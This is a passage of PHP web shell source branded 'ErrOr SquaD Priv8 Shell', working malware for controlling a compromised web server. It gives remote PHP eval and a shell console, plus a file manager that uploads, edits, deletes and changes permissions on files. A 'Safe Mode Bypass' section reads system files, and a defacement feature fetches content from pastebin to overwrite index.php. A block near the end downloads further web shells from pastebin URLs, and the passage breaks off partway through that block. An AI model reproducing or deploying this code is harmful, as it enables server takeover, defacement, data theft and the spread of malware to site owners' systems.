639 showSecParam('Danger', implode(', ',$temp));
640 $temp=array();
641 foreach ($downloaders as $item)
642 if(which($item)){$temp[]=$item;}
643 showSecParam('Downloaders', implode(', ',$temp));
644 echo '<br/>';
645 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
646 showSecParam('HDD space', ex('df -h'));
647 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
648 }
649 } else {
650 showSecParam('OS Version',ex('ver'));
651 showSecParam('Account Settings',ex('net accounts'));
652 showSecParam('User Accounts',ex('net user'));
653 }
654 echo '</div>';
655 printFooter();
656}
657
658function actionPhp() {
659 if( isset($_POST['ajax']) ) {
660 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
661 ob_start();
662 eval($_POST['p1']);
663 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
664 echo strlen($temp), "\n", $temp;
665 exit;
666 }
667 printHeader();
668 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
669 echo '<h1>PHP info</h1><div class=content>';
670 ob_start();
671 phpinfo();
672 $tmp = ob_get_clean();
673 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
674 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
675 $tmp = preg_replace('!h1!msiU','h2',$tmp);
676 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
677 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
678 echo $tmp;
679 echo '</div><br>';
680 }
681 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
682 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
683 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
684 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
685 if(!empty($_POST['p1'])) {
686 ob_start();
687 eval($_POST['p1']);
688 echo htmlspecialchars(ob_get_clean());
689 }
690 echo '</pre></div>';
691 printFooter();
692}
693
694function actionFilesMan() {
695 printHeader();
696 echo '<h1>File Manager</h1><div class=content>';
697 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
698 switch($_POST['p1']) {
699 case 'uploadFile':
700 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
701 echo "Can't upload file!";
702 break;
703 break;
704 case 'mkdir':
705 if(!@mkdir($_POST['p2']))
706 echo "Can't create new dir";
707 break;
708 case 'delete':
709 function deleteDir($path) {
710 $path = (substr($path,-1)=='/') ? $path:$path.'/';
711 $dh = opendir($path);
712 while ( ($item = readdir($dh) ) !== false) {
713 $item = $path.$item;
714 if ( (basename($item) == "..") || (basename($item) == ".") )
715 continue;
716 $type = filetype($item);
717 if ($type == "dir")
718 deleteDir($item);
719 else
720 @unlink($item);
721 }
722 closedir($dh);
723 rmdir($path);
724 }
725 if(is_array(@$_POST['f']))
726 foreach($_POST['f'] as $f) {
727 $f = urldecode($f);
728 if(is_dir($f))
729 deleteDir($f);
730 else
731 @unlink($f);
732 }
733 break;
734 case 'paste':
735 if($_SESSION['act'] == 'copy') {
736 function copy_paste($c,$s,$d){
737 if(is_dir($c.$s)){
738 mkdir($d.$s);
739 $h = opendir($c.$s);
740 while (($f = readdir($h)) !== false)
741 if (($f != ".") and ($f != "..")) {
742 copy_paste($c.$s.'/',$f, $d.$s.'/');
743 }
744 } elseif(is_file($c.$s)) {
745 @copy($c.$s, $d.$s);
746 }
747 }
748 foreach($_SESSION['f'] as $f)
749 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
750 } elseif($_SESSION['act'] == 'move') {
751 function move_paste($c,$s,$d){
752 if(is_dir($c.$s)){
753 mkdir($d.$s);
754 $h = opendir($c.$s);
755 while (($f = readdir($h)) !== false)
756 if (($f != ".") and ($f != "..")) {
757 copy_paste($c.$s.'/',$f, $d.$s.'/');
758 }
759 } elseif(is_file($c.$s)) {
760 @copy($c.$s, $d.$s);
761 }
762 }
763 foreach($_SESSION['f'] as $f)
764 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
765 }
766 unset($_SESSION['f']);
767 break;
768 default:
769 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
770 $_SESSION['act'] = @$_POST['p1'];
771 $_SESSION['f'] = @$_POST['f'];
772 foreach($_SESSION['f'] as $k => $f)
773 $_SESSION['f'][$k] = urldecode($f);
774 $_SESSION['cwd'] = @$_POST['c'];
775 }
776 break;
777 }
778 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
779 }
780 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
781 $def = file_get_contents('http://pastebin.com/raw/ZL0YBZ7K');
782 file_put_contents($_POST['c'].$_POST['p2'],$def);
783 }
784 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
785 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
786 global $sort;
787 $sort = array('name', 1);
788 if(!empty($_POST['p1'])) {
789 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
790 $sort = array($match[1], (int)$match[2]);
791 }
792 echo '<script>
793 function sa() {
794 for(i=0;i<document.files.elements.length;i++)
795 if(document.files.elements[i].type == \'checkbox\')
796 document.files.elements[i].checked = document.files.elements[0].checked;
797 }
798 </script>
799 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
800 <form name=files method=post>';
801 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
802 $dirs = $files = $links = array();
803 $n = count($dirContent);
804 for($i=0;$i<$n;$i++) {
805 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
806 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
807 $tmp = array('name' => $dirContent[$i],
808 'path' => $GLOBALS['cwd'].$dirContent[$i],
809 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
810 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
811 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
812 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
813 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
814 );
815 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
816 $files[] = array_merge($tmp, array('type' => 'file'));
817 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
818 $links[] = array_merge($tmp, array('type' => 'link'));
819 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
820 $dirs[] = array_merge($tmp, array('type' => 'dir'));
821 }
822 $GLOBALS['sort'] = $sort;
823 function cmp($a, $b) {
824 if($GLOBALS['sort'][0] != 'size')
825 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
826 else
827 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
828 }
829 usort($files, "cmp");
830 usort($dirs, "cmp");
831 usort($links, "cmp");
832 $files = array_merge($dirs, $links, $files);
833 $l = 0;
834 foreach($files as $f) {
835 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
836 .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
837 $l = $l?0:1;
838 }
839 echo '<tr><td colspan=5>
840 <input type=hidden name=a value=\'FilesMan\'>
841 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
842 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
843 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
844 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
845 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
846 </form></table></div>';
847 printFooter();
848}
849
850function actionStringTools() {
851 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
852 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
853 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
854 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
855
856 if(isset($_POST['ajax'])) {
857 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
858 ob_start();
859 if(function_exists($_POST['p1']))
860 echo $_POST['p1']($_POST['p2']);
861 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
862 echo strlen($temp), "\n", $temp;
863 exit;
864 }
865 printHeader();
866 echo '<h1>String Conversions</h1><div class=content>';
867 $stringTools = array(
868 'Base64 encode' => 'base64_encode',
869 'Base64 decode' => 'base64_decode',
870 'Url encode' => 'urlencode',
871 'Url decode' => 'urldecode',
872 'Full urlencode' => 'full_urlencode',
873 'md5 hash' => 'md5',
874 'sha1 hash' => 'sha1',
875 'crypt' => 'crypt',
876 'CRC32' => 'crc32',
877 'ASCII to HEX' => 'ascii2hex',
878 'HEX to ASCII' => 'hex2ascii',
879 'HEX to DEC' => 'hexdec',
880 'HEX to BIN' => 'hex2bin',
881 'DEC to HEX' => 'dechex',
882 'DEC to BIN' => 'decbin',
883 'BIN to HEX' => 'bin2hex',
884 'BIN to DEC' => 'bindec',
885 'String to lower case' => 'strtolower',
886 'String to upper case' => 'strtoupper',
887 'Htmlspecialchars' => 'htmlspecialchars',
888 'String length' => 'strlen',
889 );
890 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
891 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
892 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
893 foreach($stringTools as $k => $v)
894 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
895 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
896 if(!empty($_POST['p1'])) {
897 if(function_exists($_POST['p1']))
898 echo htmlspecialchars($_POST['p1']($_POST['p2']));
899 }
900 echo"</pre></div>";
901 printFooter();
902}
903
904function actionFilesTools() {
905 if( isset($_POST['p1']) )
906 $_POST['p1'] = urldecode($_POST['p1']);
907 if(@$_POST['p2']=='download') {
908 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
909 ob_start("ob_gzhandler", 4096);
910 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
911 if (function_exists("mime_content_type")) {
912 $type = @mime_content_type($_POST['p1']);
913 header("Content-Type: ".$type);
914 }
915 $fp = @fopen($_POST['p1'], "r");
916 if($fp) {
917 while(!@feof($fp))
918 echo @fread($fp, 1024);
919 fclose($fp);
920 }
921 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
922
923 }
924 exit;
925 }
926 if( @$_POST['p2'] == 'mkfile' ) {
927 if(!file_exists($_POST['p1'])) {
928 $fp = @fopen($_POST['p1'], 'w');
929 if($fp) {
930 $_POST['p2'] = "edit";
931 fclose($fp);
932 }
933 }
934 }
935 printHeader();
936 echo '<h1>File tools</h1><div class=content>';
937 if( !file_exists(@$_POST['p1']) ) {
938 echo 'File not exists';
939 printFooter();
940 return;
941 }
942 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
943 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
944 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
945 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
946 if( empty($_POST['p2']) )
947 $_POST['p2'] = 'view';
948 if( is_file($_POST['p1']) )
949 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch' ,'Frame');
950 else
951 $m = array('Chmod', 'Rename', 'Touch');
952 foreach($m as $v)
953 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
954 echo '<br><br>';
955 switch($_POST['p2']) {
956 case 'view':
957 echo '<pre class=ml1>';
958 $fp = @fopen($_POST['p1'], 'r');
959 if($fp) {
960 while( !@feof($fp) )
961 echo htmlspecialchars(@fread($fp, 1024));
962 @fclose($fp);
963 }
964 echo '</pre>';
965 break;
966 case 'highlight':
967 if( is_readable($_POST['p1']) ) {
968 echo '<div class=ml1 style="background-color: #000;color:black;">';
969 $code = highlight_file($_POST['p1'],true);
970 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
971 }
972 break;
973 case 'chmod':
974 if( !empty($_POST['p3']) ) {
975 $perms = 0;
976 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
977 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
978 if(!@chmod($_POST['p1'], $perms))
979 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
980 else
981 die('<script>g(null,null,null,null,"")</script>');
982 }
983 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
984 break;
985 case 'edit':
986 if( !is_writable($_POST['p1'])) {
987 echo 'File isn\'t writeable';
988 break;
989 }
990 if( !empty($_POST['p3']) ) {
991 @file_put_contents($_POST['p1'],$_POST['p3']);
992 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
993 }
994 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
995 $fp = @fopen($_POST['p1'], 'r');
996 if($fp) {
997 while( !@feof($fp) )
998 echo htmlspecialchars(@fread($fp, 1024));
999 @fclose($fp);
1000 }
1001 echo '</textarea><input type=submit value=">>"></form>';
1002 break;
1003 case 'hexdump':
1004 $c = @file_get_contents($_POST['p1']);
1005 $n = 0;
1006 $h = array('00000000<br>','','');
1007 $len = strlen($c);
1008 for ($i=0; $i<$len; ++$i) {
1009 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1010 switch ( ord($c[$i]) ) {
1011 case 0: $h[2] .= ' '; break;
1012 case 9: $h[2] .= ' '; break;
1013 case 10: $h[2] .= ' '; break;
1014 case 13: $h[2] .= ' '; break;
1015 default: $h[2] .= $c[$i]; break;
1016 }
1017 $n++;
1018 if ($n == 32) {
1019 $n = 0;
1020 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1021 $h[1] .= '<br>';
1022 $h[2] .= "\n";
1023 }
1024 }
1025 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1026 break;
1027 case 'rename':
1028 if( !empty($_POST['p3']) ) {
1029 if(!@rename($_POST['p1'], $_POST['p3']))
1030 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
1031 else
1032 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1033 }
1034 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1035 break;
1036 case 'touch':
1037 if( !empty($_POST['p3']) ) {
1038 $time = strtotime($_POST['p3']);
1039 if($time) {
1040 if(@touch($_POST['p1'],$time,$time))
1041 die('<script>g(null,null,null,null,"")</script>');
1042 else {
1043 echo 'Fail!<script>document.mf.p3.value="";</script>';
1044 }
1045 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
1046 }
1047 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1048 break;
1049 case 'mkfile':
1050
1051 break;
1052
1053 case 'frame':
1054 $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
1055 if ($frameSrc[0] != '/')
1056 $frameSrc = '/' . $frameSrc;
1057 if ($frameSrc[strlen($frameSrc) - 1] != '/')
1058 $frameSrc = $frameSrc . '/';
1059 $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
1060 echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
1061 break;
1062
1063 }
1064 echo '</div>';
1065 printFooter();
1066}
1067
1068function actionSafeMode() {
1069 $temp='';
1070 ob_start();
1071 switch($_POST['p1']) {
1072 case 1:
1073 $temp=@tempnam($test, 'cx');
1074 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1075 echo @file_get_contents($temp);
1076 unlink($temp);
1077 } else
1078 echo 'Sorry... Can\'t open file';
1079 break;
1080 case 2:
1081 $files = glob($_POST['p2'].'*');
1082 if( is_array($files) )
1083 foreach ($files as $filename)
1084 echo $filename."\n";
1085 break;
1086 case 3:
1087 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1088 curl_exec($ch);
1089 break;
1090 case 4:
1091 ini_restore("safe_mode");
1092 ini_restore("open_basedir");
1093 include($_POST['p2']);
1094 break;
1095 case 5:
1096 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1097 $uid = @posix_getpwuid($_POST['p2']);
1098 if ($uid)
1099 echo join(':',$uid)."\n";
1100 }
1101 break;
1102 case 6:
1103 if(!function_exists('imap_open'))break;
1104 $stream = imap_open($_POST['p2'], "", "");
1105 if ($stream == FALSE)
1106 break;
1107 echo imap_body($stream, 1);
1108 imap_close($stream);
1109 break;
1110 }
1111 $temp = ob_get_clean();
1112 printHeader();
1113 echo '<h1>Safe Mode Bypass</h1><div class=content>';
1114 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1115 if($temp)
1116 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1117 echo '</div>';
1118 printFooter();
1119}
1120
1121function actionConsole() {
1122 if(isset($_POST['ajax'])) {
1123 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1124 ob_start();
1125 echo "document.cf.cmd.value='';\n";
1126 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
1127 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1128 if(@chdir($match[1])) {
1129 $GLOBALS['cwd'] = @getcwd();
1130 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1131 }
1132 }
1133 echo "document.cf.output.value+='".$temp."';";
1134 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1135 $temp = ob_get_clean();
1136 echo strlen($temp), "\n", $temp;
1137 exit;
1138 }
1139 printHeader();
1140
1141echo '<script>
1142if(window.Event) window.captureEvents(Event.KEYDOWN);
1143var cmds = new Array("");
1144var cur = 0;
1145function kp(e) {
1146 var n = (window.Event) ? e.which : e.keyCode;
1147 if(n == 38) {
1148 cur--;
1149 if(cur>=0)
1150 document.cf.cmd.value = cmds[cur];
1151 else
1152 cur++;
1153 } else if(n == 40) {
1154 cur++;
1155 if(cur < cmds.length)
1156 document.cf.cmd.value = cmds[cur];
1157 else
1158 cur--;
1159 }
1160}
1161function add(cmd) {
1162 cmds.pop();
1163 cmds.push(cmd);
1164 cmds.push("");
1165 cur = cmds.length-1;
1166}
1167</script>';
1168 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1169 foreach($GLOBALS['aliases'] as $n => $v) {
1170 if($v == '') {
1171 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1172 continue;
1173 }
1174 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1175 }
1176 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1177 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1178 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1179 if(!empty($_POST['p1'])) {
1180 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1181 }
1182 echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
1183 echo '</form></div><script>document.cf.cmd.focus();</script>';
1184 printFooter();
1185}
1186function actionLogout() {
1187 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1188 echo '<head><title>ErrOr SquaD Priv8 Shell | Logout</title>
1189 <link rel="icon" type="image/png" href="http://s20.postimg.org/gfg5gty7h/logo3_croped.jpg"></head>
1190 <body bgcolor="#000000"><center><p><h1 style="color:red;" >Logout Successful</h1></p><h2 style="color:#00ffff">Plzz Delete all files form Server if your Work Finished</h2><img src="http://s20.postimg.org/9xx8xbnu5/Error_Squad2.png" height="320" width="340" /><br><font color="#aqua"></center><br>
1191 <style>input {border:1px solid black; }</style><center>
1192 <font color="2eff00">..../Logout Successfuly</font><br><br>
1193 <form method=post><input type="text" name="uname" style="background-color:transparent; color:#fff;"><br>
1194 <input type="password" name="pass" style="background-color:transparent; color:#fff;"><br>
1195 <input type="submit" name="login" value="" style="background-color:transparent;"></form></center>';
1196}
1197
1198function actionSelfRemove() {
1199 printHeader();
1200 if($_POST['p1'] == 'yes') {
1201 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1202 die('Shell has been removed from the server . Thanks For using the tool');
1203 else
1204 echo 'unlink error!';
1205 }
1206 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell? - (By clicking Yes Shell will be Deleted)<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1207 printFooter();
1208}
1209
1210
1211function download_remote_file($file_url, $save_to)
1212 {
1213 $content = file_get_contents($file_url);
1214
1215 file_put_contents($save_to, $content);
1216
1217 }
1218 if (isset($_POST['dhanush'])) {
1219 download_remote_file('http://pastebin.com/raw/LTbPQZFr', realpath("./ESBH-tools") . '/dhanush.php');
1220 header("location:./ESBH-tools/dhanush.php");
1221 }
1222 if (isset($_POST['dhanush_I-47'])) {
1223 download_remote_file('http://pastebin.com/raw/WzqffVAi', realpath("./ESBH-tools") . '/dhanush I-47.php');
1224 header("location:./ESBH-tools/dhanush I-47.php");
1225 }
1226 if (isset($_POST['mini'])) {
1227 download_remote_file('http://pastebin.com/raw/h7YzPSkr', realpath("./ESBH-tools") . '/mini-shell.php');
1228 header("location:./ESBH-tools/mini-shell.php");
1229 }
1230 if (isset($_POST['AnonGhost'])) {
1231 download_remote_file('http://pastebin.com/raw/zG0xpwxH', realpath("./ESBH-tools") . '/AnonGhost.php');
1232 header("location:./ESBH-tools/AnonGhost.php");
1233 }
1234 if (isset($_POST['Jijle3'])) {
1235 download_remote_file('http://pastebin.com/raw/hccHQ4Ch', realpath("./ESBH-tools") . '/Jijle3.php');
1236 header("location:./ESBH-tools/Jijle3.php");
1237 }
1238 if (isset($_POST['Alfa'])) {
1239 download_remote_file('http://pastebin.com/raw/3ViVTw5w', realpath("./ESBH-tools") . '/Alfa.php');
1240 header("location:./ESBH-tools/Alfa.php");
1241 }
1242 if (isset($_POST['wso'])) {
1243 download_remote_file('http://pastebin.com/raw/8hKqzpsg', realpath("./ESBH-tools") . '/wso-2.8.php');
1244 header("location:./ESBH-tools/wso-2.8.php");
1245 }
1246 if (isset($_POST['B374k'])) {
1247 download_remote_file('http://pastebin.com/raw/GkA86yN1', realpath("./ESBH-tools") . '/B374k.php');
1248 header("location:./ESBH-tools/B374k.php");
1249 }
1250 if (isset($_POST['Black_Mini'])) {
1251 download_remote_file('http://pastebin.com/raw/unkLKXNf', realpath("./ESBH-tools") . '/Black_Mini.php');
1252 header("location:./ESBH-tools/Black_Mini.php");
1253 }
1254 if (isset($_POST['Raz_Tiny'])) {
1255 download_remote_file('http://pastebin.com/raw/bwEKkuGe', realpath("./ESBH-tools") . '/Raz tiny.php');
1256 header("location:./ESBH-tools/Raz tiny.php");
1257 }
1258 if (isset($_POST['madspot'])) {
1259 download_remote_file('http://pastebin.com/raw/y1gFW2An', realpath("./ESBH-tools") . '/madspot.php');
1260 header("location:./ESBH-tools/madspot.php");
1261 }
1262 if (isset($_POST['K2LL33D'])) {
1263 download_remote_file('http://pastebin.com/raw/JmJmGdPS', realpath("./ESBH-tools") . '/K2LL33D.php');
1264 header("location:./ESBH-tools/K2LL33D.php");
1265 }
1266 if (isset($_POST['1337w0rm'])) {
